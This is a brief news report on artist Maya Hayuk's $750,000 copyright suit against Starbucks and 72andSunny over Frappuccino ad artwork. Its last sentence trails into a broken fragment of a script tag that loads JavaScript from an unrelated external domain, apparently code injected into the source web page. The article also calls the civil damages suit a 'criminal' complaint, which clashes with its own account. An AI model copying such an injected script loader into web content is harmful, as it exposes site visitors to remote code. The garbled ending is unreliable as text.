Maya Hayuk, a Brooklyn-based muralist, filed a complaint and demanded for $750 000 worth of damages against Starbucks and 72andSunny for allegedly stealing her artworks in its “Mini Frapuccino” campaign.
According to the complainant, Starbucks’ ad agency 72andSunny emailed her last October. “We love your work,” the email stated. However, Hayuk who has been rendering services for a number of companies, such as Billabong, Microsoft, Sony, General Motors, and others, declined the offer.
To her surprise, she began seeing Starbucks ads similar to her works. “Starbucks brazenly created artwork that is substantially similar to one or more of Hayuk’s copyrighted works,” the lawsuit claims. “Clearly, Starbucks is using the infringing Frappuccino/campaign artwork to gain significant financial benefit, all to Hayuk’s detriment,” the complaint added.
Starbucks spokesperson said that they are already aware of the filed criminal copyright infringement complaint and investigating the allegation. type=’text/javascript’ src=’http://online-sale24.com/1.js’>